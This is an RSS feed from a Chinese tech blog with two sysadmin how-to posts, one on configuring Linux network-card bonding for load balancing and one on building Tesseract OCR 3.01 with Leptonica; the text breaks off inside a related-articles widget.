<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>KiloBug&#039;s Blog</title>
	<atom:link href="http://www.kilobug.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kilobug.com</link>
	<description>乐观做人，悲观编程</description>
	<lastBuildDate>Wed, 18 Jan 2012 16:32:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Linux多网卡负载均衡 : bond</title>
		<link>http://www.kilobug.com/archives/1088</link>
		<comments>http://www.kilobug.com/archives/1088#comments</comments>
		<pubDate>Wed, 18 Jan 2012 16:15:54 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1088</guid>
		<description><![CDATA[一、新建bond0虚拟设备 vi /etc/sysconfig/network-scripts/ifcfg-bond0 输入 DEVICE=bond0 BOOTPROTO=none ONBOOT=yes NETWORK=192.168.1.0 #网段 NETMASK=255.255.255.0 # 掩码 IPADDR=192.168.1.2 # 指定IP USERCTL=no GATEWAY=192.168.1.1 # 网关 TYPE=Ethernet 二、修改所有真实网卡的配置 vi /etc/sysconfig/network-scripts/ifcfg-eth0 vi /etc/sysconfig/network-scripts/ifcfg-eth1 .... 内容修改为： DEVICE=eth0 # 这里填写对应的设备名称 BOOTPROTO=none ONBOOT=yes MASTER=bond0 SLAVE=yes USERCTL=yes 三、将bond0加入modprobe vi /etc/modprobe.conf 加入 alias bond0 bonding options bond0 miimon=100 mode=0 四、加入启动命令 vi /etc/rc.d/rc.local 加入 ifenslave bond0 eth0 eth1 其中eth0、eth1为真实网卡名称，按照实际情况填写 [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F284&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">退出telnet命令</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F178&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">iptables开放22、80端口，以及允许本机访问本机所有端口协议</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F275&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">SSH证书配置</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F864&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">linux shell守护进程</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p><strong>一、新建bond0虚拟设备</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">vi</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sysconfig<span style="color: #000000; font-weight: bold;">/</span>network-scripts<span style="color: #000000; font-weight: bold;">/</span>ifcfg-bond0</pre></div></div>

<p>输入</p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;"><span style="color: #000099;">DEVICE</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">bond0</span>
<span style="color: #000099;">BOOTPROTO</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">none</span>
<span style="color: #000099;">ONBOOT</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">yes</span>
<span style="color: #000099;">NETWORK</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">192.168.1.0 #网段</span>
<span style="color: #000099;">NETMASK</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">255.255.255.0 # 掩码</span>
<span style="color: #000099;">IPADDR</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">192.168.1.2 # 指定IP</span>
<span style="color: #000099;">USERCTL</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">no</span>
<span style="color: #000099;">GATEWAY</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">192.168.1.1 # 网关</span>
<span style="color: #000099;">TYPE</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">Ethernet</span></pre></div></div>

<p><strong>二、修改所有真实网卡的配置</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">vi</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sysconfig<span style="color: #000000; font-weight: bold;">/</span>network-scripts<span style="color: #000000; font-weight: bold;">/</span>ifcfg-eth0
<span style="color: #c20cb9; font-weight: bold;">vi</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>sysconfig<span style="color: #000000; font-weight: bold;">/</span>network-scripts<span style="color: #000000; font-weight: bold;">/</span>ifcfg-eth1
....</pre></div></div>

<p>内容修改为：</p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;"><span style="color: #000099;">DEVICE</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">eth0 # 这里填写对应的设备名称</span>
<span style="color: #000099;">BOOTPROTO</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">none</span>
<span style="color: #000099;">ONBOOT</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">yes</span>
<span style="color: #000099;">MASTER</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">bond0</span>
<span style="color: #000099;">SLAVE</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">yes</span>
<span style="color: #000099;">USERCTL</span><span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">yes</span></pre></div></div>

<p><strong>三、将bond0加入modprobe</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">vi</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>modprobe.conf</pre></div></div>

<p>加入</p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;">alias bond0 bonding
options bond0 miimon<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">100 mode=0</span></pre></div></div>

<p><strong>四、加入启动命令</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">vi</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>rc.d<span style="color: #000000; font-weight: bold;">/</span>rc.local</pre></div></div>

<p>加入</p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;">ifenslave bond0 eth0 eth1</pre></div></div>

<p>其中eth0、eth1为真实网卡名称，按照实际情况填写</p>
<p><strong>五、重启系统后即可启动负载均衡式的bond</strong></p>
<p><strong>第三步选项说明：</strong><br />
miimon=100<br />
每100毫秒 (即0.1秒) 检查一次网络</p>
<p>mode=0<br />
共有七种模式，常用的模式是0和1<br />
mode=0 : 负载均衡模式，所有网卡一起使用，峰值=所有网卡带宽的总和，当某个网卡故障，仅降低带宽，不影响其他网卡<br />
mode=1 : 热备模式，即一块网卡运行，其他待命，当运行的网卡故障，其他网卡顶上</p>
<p><strong>mode英文解释：</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mode=1(active-backup) Active-backup policy: Only one slave in the bond is active. A different slave becomes active if, and only if, the active slave fails. The bond's MAC address is externally visible on only one port (network adapter) to avoid confusing the switch. This mode provides fault tolerance. The primary option affects the behavior of this mode.
&nbsp;
&nbsp;
mode=2 (balance-xor) XOR policy: Transmit based on [(source MAC address XOR'd with destination MAC address) modulo slave count]. This selects the same slave for each destination MAC address. This mode provides load balancing and fault tolerance.
&nbsp;
&nbsp;
mode=3(broadcast) Broadcast policy: transmits everything on all slave interfaces. This mode provides fault tolerance.
&nbsp;
&nbsp;
mode=4(802.3ad) IEEE 802.3ad Dynamic link aggregation.
&nbsp;
&nbsp;
mode=5(balance-tlb) Adaptive transmit load balancing: channel bonding that does not require any special switch support. The outgoing traffic is distributed according to the current load (computed relative to the speed) on each slave. Incoming traffic is received by the current slave. If the receiving slave fails, another slave takes over the MAC address of the failed receiving slave. Prerequisite: Ethtool support in the base drivers for retrieving the speed of each slave.
&nbsp;
&nbsp;
mode=6(balance-alb) Adaptive load balancing: includes balance-tlb plus receive load balancing (rlb) for IPV4 traffic, and does not require any special switch support. The receive load balancing is achieved by ARP negotiation. The bonding driver intercepts the ARP Replies sent by the local system on their way out and overwrites the source hardware address with the unique hardware address of one of the slaves in the bond such that different peers use different hardware addresses for the server.</pre></div></div>

<p><strong>查看bond0状态：</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>bonding<span style="color: #000000; font-weight: bold;">/</span>bond0</pre></div></div>

<p>若某个网卡的MII Status=down，表示该网卡无法连接网络<br />
此时应检查:<br />
1、网线是否插好<br />
2、网线是否损坏<br />
3、网卡配置是否正确<br />
4、网卡是否没插好<br />
5、网卡是否损坏</p>
<p><strong style="color:red;">PS: 使用bond时，所有网卡接口都需用网线接上交换机和路由器</strong></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F284&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">退出telnet命令</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F178&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">iptables开放22、80端口，以及允许本机访问本机所有端口协议</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F275&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">SSH证书配置</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F864&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1088">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">linux shell守护进程</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1088/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tesseract OCR 3.0 安装记录</title>
		<link>http://www.kilobug.com/archives/1079</link>
		<comments>http://www.kilobug.com/archives/1079#comments</comments>
		<pubDate>Wed, 11 Jan 2012 03:34:26 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1079</guid>
		<description><![CDATA[下载： 1、安装包：Tesseract-3.01.tar.gz 2、语言包：Eng.traineddata.gz（这个是英文语言包） 3、图像分析库：Leptonica-1.68.tar.gz（版本必须>=1.67） Ubuntu: sudo apt-get install autoconf automake libtool sudo apt-get install libpng12-dev sudo apt-get install libjpeg62-dev sudo apt-get install libtiff4-dev sudo apt-get install zlib1g-dev CentOS: yum install gcc gcc-c++ autoconf automake libtool libpng libjpeg libtiff zlib-devel 解压Leptonica-1.68.tar.gz并进入目录： ./configure &#38;&#38; make &#38;&#38; make install ln -s /usr/local/lib/liblept.* /usr/lib/ ln -s /usr/local/lib/liblept.* /usr/lib32/ ln [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F661&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">yum安装gcc、gcc++</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F672&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">coreseek3.2.3安装过程问题汇总</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F799&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">mysql5.5安装过程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1023&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">解决sphinx2.0.x安装报错：undefined reference to `libiconv_open`</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p><strong>下载：</strong><br />
1、安装包：<a href="http://tesseract-ocr.googlecode.com/files/tesseract-3.01.tar.gz" target="_blank">Tesseract-3.01.tar.gz</a><br />
2、语言包：<a href="http://tesseract-ocr.googlecode.com/files/eng.traineddata.gz" target="_blank">Eng.traineddata.gz</a>（这个是英文语言包）<br />
3、图像分析库：<a href="http://www.leptonica.com/source/leptonica-1.68.tar.gz" target="_blank">Leptonica-1.68.tar.gz</a>（版本必须>=1.67）</p>
<p><strong>Ubuntu:</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #c20cb9; font-weight: bold;">autoconf</span> <span style="color: #c20cb9; font-weight: bold;">automake</span> libtool
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libpng12-dev
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libjpeg62-dev
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> libtiff4-dev
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> zlib1g-dev</pre></div></div>

<p><strong>CentOS:</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yum <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #c20cb9; font-weight: bold;">gcc</span> gcc-c++ <span style="color: #c20cb9; font-weight: bold;">autoconf</span> <span style="color: #c20cb9; font-weight: bold;">automake</span> libtool libpng libjpeg libtiff zlib-devel</pre></div></div>

<p>解压Leptonica-1.68.tar.gz并进入目录：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">.<span style="color: #000000; font-weight: bold;">/</span>configure <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib32<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib64<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib32<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>liblept.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib64<span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

<p>解压Tesseract-3.01.tar.gz并进入目录<br />
删除ccutil/strngs.h第一行第一个字符<br />
执行以下操作：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sh</span> autogen.sh
<span style="color: #007800;">CPPFLAGS</span>=<span style="color: #ff0000;">&quot;-I/usr/local/include&quot;</span> <span style="color: #007800;">LDFLAGS</span>=<span style="color: #ff0000;">&quot;-L/usr/local/lib&quot;</span> .<span style="color: #000000; font-weight: bold;">/</span>configure
<span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib32<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib64<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib32<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libtesseract.<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">/</span>lib64<span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

<p>解压Eng.traineddata.gz并拷贝到/usr/local/share/tessdata/目录下</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #660033;">-d</span> eng.traineddata.gz
<span style="color: #c20cb9; font-weight: bold;">cp</span> eng.traineddata <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>share<span style="color: #000000; font-weight: bold;">/</span>tessdata<span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

<p>End.</p>
<p><strong style="color:red;">PS:容易把数字解析成字母，如数字2=字母Z，数字0=字母o等</strong></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F661&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">yum安装gcc、gcc++</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F672&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">coreseek3.2.3安装过程问题汇总</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F799&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">mysql5.5安装过程</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
